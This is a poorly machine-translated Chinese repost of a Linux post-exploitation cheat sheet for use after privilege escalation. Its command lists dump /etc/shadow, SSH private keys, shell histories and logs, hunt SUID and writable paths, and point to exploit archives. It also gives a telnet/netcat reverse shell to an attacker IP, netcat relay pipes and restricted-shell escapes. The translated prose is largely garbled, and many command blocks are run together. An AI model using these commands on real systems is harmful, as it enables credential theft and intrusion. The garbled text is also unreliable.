|
|
|
联系客服020-83701501

Linux提权后获取敏感信息的方法与途径

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
Linux提权后得到敏感信息的办法与路径

在本文初阶从前,我想指出我不是专家。据我所知,在这个弘大的地区,不有1个“神奇”的答案.分享,共享(我的登程点)。上面是1个混合的呼吁做同样的事故,在不同之处,或只是1个不同的眼光来看待事物。我晓得有更多的“对象”去寻找。这只是1个根底准确的指南。并不是每1个呼吁,做好要看重细节.

文中的每行为1条呼吁,文中有的呼吁或许在你的主机上敲不出来,因为它或许是在别的版本的linux中所使用的呼吁。

列举关键点
(Linux)的提权是怎么1回事:

  • 征集 R11; 胪列,胪列和1些更多的胪列。
  • 进程 R11; 经由进程数据排序,剖析和必定优先序次。
  • 搜索 R11; 晓得搜索甚么和在那边或许找到裂痕代码。
  • 适应 R11; 自定义的裂痕,以是它适合。每个零碎的任务并不是每1个裂痕“都固定动摇”。
  • 尝试 R11; 做好准备,执行和差池。
  • 操作楷模

操作楷模是甚么版本?

Default
1234 cat /etc/issuecat /etc/*-releasecat /etc/lsb-releasecat /etc/redhat-release

它的内核版本是甚么?

Default
12345六 cat /proc/version   uname -auname -mrs rpm -q kernel dmesg | grep Linuxls /boot | grep vmlinuz

它的环境变量里有些甚么?

Default
12345六七 cat /etc/profilecat /etc/bashrccat ~/.bash_profilecat ~/.bashrccat ~/.bash_logoutenvset

可否有台打印机?

Default
lpstat -a

  • 垄断与办事

正在运行甚么办事?甚么样的办事具有甚么用户权限?

Default
1234 ps auxps -eftopcat /etc/service

哪些办事具有root的权限?这些办事里你看起来那些有裂痕,休止再次搜查!

Default
12 ps aux | grep rootps -ef | grep root

放置了哪些垄断步调?他们是甚么版本?哪些是当前正在运行的?

Default
12345六 ls -alh /usr/bin/ls -alh /sbin/dpkg -lrpm -qals -alh /var/cache/apt/archivesOls -alh /var/cache/yum/

Service设置,有任何的差池配置吗?可否有任何(薄弱瘦弱的)的插件?

Default
12345六七8910 cat /etc/syslog.conf cat /etc/chttp.confcat /etc/lighttpd.confcat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.confcat /etc/my.confcat /etc/httpd/conf/httpd.confcat /opt/lampp/etc/httpd.confls -aRl /etc/ | awk '$1 ~ /^.*r.*/

主机上有哪些任务筹划?

Default
12345六七89101112 crontab -lls -alh /var/spool/cronls -al /etc/ | grep cronls -al /etc/cron*cat /etc/cron*cat /etc/at.allowcat /etc/at.denycat /etc/cron.allowcat /etc/cron.denycat /etc/crontabcat /etc/anacrontabcat /var/spool/cron/crontabs/root

主机上或许有哪些纯文本用户名和密码?

Default
1234 grep -i user [filename]grep -i pass [filename]grep -C 5 "password" [filename]find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

  • 通讯与网络

NIC(s),零碎有哪些?它是连接到哪1个网络?

Default
123 /sbin/ifconfig -acat /etc/network/interfacescat /etc/sysconfig/network

网络配置设置是甚么?网络中有甚么样的办事器?DHCP办事器?DNS办事器?网关?

Default
12345六 cat /etc/resolv.confcat /etc/sysconfig/networkcat /etc/networksiptables -Lhostnamednsdomainname

别的用户主机与零碎的通讯?

Default
12345六七8910 lsof -i lsof -i :80grep 80 /etc/servicesnetstat -antupnetstat -antpxnetstat -tulpnchkconfig --listchkconfig --list | grep 3:onlastw

缓存?IP和/或MAC地点?

Default
123 arp -eroute/sbin/route -nee

数据包或许嗅探吗?或许看出甚么?监听流量

Default
12 # tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]tcpdump tcp dst 192.1六8.1.七 80 and tcp dst 10.2.2.222 21

你如何get1个shell?你如何与零碎休止交互?

# http://lanmaster53.com/2011/05/七-linux-shells-using-built-in-tools/

Default
12 nc -lvp 4444    # Attacker. 输出 (呼吁)nc -lvp 4445    # Attacker. 输出(了局)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 ? ?# 在方针零碎上. 使用 进攻者的IP!

如何端口转发?(端口重定向)

# rinetd

Default
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe

Default
12 # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]FPipe.exe -l 80 -r 80 -s 80 192.1六8.1.七

#ssh

Default
123 # ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]ssh -L 8080:12七.0.0.1:80 root@192.1六8.1.七    # Local Portssh -R 8080:12七.0.0.1:80 root@192.1六8.1.七    # Remote Port

#mknod

Default
1234 # mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipemknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relaymknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

树立单纯或许吗?当地,长途发送呼吁

Default
12 ssh -D 12七.0.0.1:9050 -N [username]@[ip] proxychains ifconfig

  • 机密信息和用户

你是谁?哪个id登录?谁已经登录?还有谁在这里?谁或许做甚么呢?

Default
12345六七89 idwhowlast cat /etc/passwd | cut -d:    # List of usersgrep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super usersawk -F: '($3 == "0") {print}' /etc/passwd   # List of super userscat /etc/sudoerssudo -l

或许找到甚么敏感文件?

Default
1234 cat /etc/passwdcat /etc/groupcat /etc/shadowls -alh /var/mail/

甚么风趣的文件在home/directorie(S)里?如果有权限接见会面

Default
12 ls -ahlR /root/ls -ahlR /home/

可否有任何密码,脚本,数据库,配置文件或日记文件?密码默认路径和位置

Default
123 cat /var/apache2/config.inccat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg

用户做过甚么?可否有任何密码呢?他们有不有编纂甚么?

Default
12345 cat ~/.bash_historycat ~/.nano_historycat ~/.atftp_historycat ~/.mysql_history cat ~/.php_history

或许找到甚么样的用户信息

Default
1234 cat ~/.bashrccat ~/.profilecat /var/mail/rootcat /var/spool/mail/root

private-key 信息可否被创作发明?

Default
12345六七89101112131415 cat ~/.ssh/authorized_keyscat ~/.ssh/identity.pubcat ~/.ssh/identitycat ~/.ssh/id_rsa.pubcat ~/.ssh/id_rsacat ~/.ssh/id_dsa.pubcat ~/.ssh/id_dsacat /etc/ssh/ssh_configcat /etc/ssh/sshd_configcat /etc/ssh/ssh_host_dsa_key.pubcat /etc/ssh/ssh_host_dsa_keycat /etc/ssh/ssh_host_rsa_key.pubcat /etc/ssh/ssh_host_rsa_keycat /etc/ssh/ssh_host_key.pubcat /etc/ssh/ssh_host_key

  • 文件零碎

哪些用户或许写配置文件在/ etc /?大要重新配采办事?

Default
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone

Default
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner

Default
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group

Default
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

Default
12 find /etc/ -readable -type f 2>/dev/null                         # Anyonefind /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

在/ var /有甚么或许创作发明?

Default
12345六七 ls -alh /var/logls -alh /var/maills -alh /var/spoolls -alh /var/spool/lpd ls -alh /var/lib/pgsqlls -alh /var/lib/mysqlcat /var/lib/dhcp3/dhclient.leases

网站上的任何暗藏配置/文件?配置文件与数据库信息?

Default
12345 ls -alhR /var/www/ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/

有甚么在日记文件里?(甚么大要扶直到“当地文件采集”?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/

Default
12345六七891011121314151六1七18192021222324252六2七28293031323334 cat /etc/httpd/logs/access_logcat /etc/httpd/logs/access.logcat /etc/httpd/logs/error_logcat /etc/httpd/logs/error.logcat /var/log/apache2/access_logcat /var/log/apache2/access.logcat /var/log/apache2/error_logcat /var/log/apache2/error.logcat /var/log/apache/access_logcat /var/log/apache/access.logcat /var/log/auth.logcat /var/log/chttp.logcat /var/log/cups/error_logcat /var/log/dpkg.logcat /var/log/faillogcat /var/log/httpd/access_logcat /var/log/httpd/access.logcat /var/log/httpd/error_logcat /var/log/httpd/error.logcat /var/log/lastlogcat /var/log/lighttpd/access.logcat /var/log/lighttpd/error.logcat /var/log/lighttpd/lighttpd.access.logcat /var/log/lighttpd/lighttpd.error.logcat /var/log/messagescat /var/log/securecat /var/log/syslogcat /var/log/wtmpcat /var/log/xferlogcat /var/log/yum.logcat /var/run/utmpcat /var/webmin/miniserv.logcat /var/www/logs/access_logcat /var/www/logs/access.log

Default
12345 ls -alh /var/lib/dhcp3/ls -alh /var/log/postgresql/ls -alh /var/log/proftpd/ls -alh /var/log/samba/# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有甚么文件?log.零碎疏导......)

如果呼吁限定,你或许打出哪些冲破它的限定?

Default
python -c 'import pty;pty.spawn("/bin/bash")'

Default
echo os.system('/bin/bash')

Default
/bin/sh -i

如何放置文件零碎?

Default
12 mountdf -h

可否有挂载的文件零碎?

Default
cat /etc/fstab

甚么是低级Linux文件权限使用?Sticky bits, SUID 和GUID

Default
12345六七89 find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename herefind / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUIDfor i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search) # findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied) find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

在哪些目录或许写入和实验呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

Default
12345六七8 find / -writable -type d 2>/dev/null        # world-writeable foldersfind / -perm -222 -type d 2>/dev/null      # world-writeable foldersfind / -perm -o+w -type d 2>/dev/null    # world-writeable foldersfind / -perm -o+x -type d 2>/dev/null    # world-executable foldersfind / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null   # world-writeable & executable foldersAny "problem" files?可写的的,“不有使用"的文件 find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print   # world-writeable filesfind /dir -xdev ( -nouser -o -nogroup ) -print   # Noowner files

  • 准备和查找裂痕操作代码

放置了甚么开发对象/措辞/支持?

Default
1234 find / -name perl*find / -name python*find / -name gcc* find / -name cc

如何上传文件?

Default
12345 find / -name wgetfind / -name nc*find / -name netcat*find / -name tftp* find / -name ftp

查找exploit代码

http://www.exploit-db.com
http://133七day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com
查找更多无关裂痕的信息

http://www.cvedetails.com
http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]
http://www.91ri.org/

(疾速)“共同的“exploit,预编译2进制代码文件

http://tarantula.by.ru/localroot/
http://www.kecepatan.六6ghz.com/file/local-root-exploit-priv9/

上面的信息很难吗?

快去使用第3方脚本/对象来试试吧!

零碎怎么打内核,操作零碎,部分垄断步调,插件和Web办事的最新补钉?

Default
12 apt-get update && apt-get upgradeyum update

办事运行所需的最低的权限?

比如,你需要以root身份运行MySQL?

大要从如下网站找到被动运行的脚本?!

http://pentestmonkey.net/tools/unix-privesc-check/
http://labs.portcullis.co.uk/application/enum4linux/
http://bastille-linux.sourceforge.net

  • (疾速)指南和链接

比如

http://www.0daysecurity.com/penetration-testing/enumeration.html
http://www.microloft.co.uk/hacking/hacking3.htm

别的

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf
http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

相关文章《linux下的根底渗透办法-实战》《总结Linux的1些渗透能力》

91ri.org:这是1篇很不错的linux提权文章,诚然并不是实战案例,但的确赏析了在提权当前中或许得到到自身想要的敏感信息的办法与路径。小编建议自身或许将本篇文章保管上来,以供日后参考使用。

日币表彰:

本文作者阿布,本文为译文、首发91ri.org,文章的可操作性及使用成效均低劣,根据本站积分规则给以日币表彰共六枚。

数安新闻+更多

证书相关+更多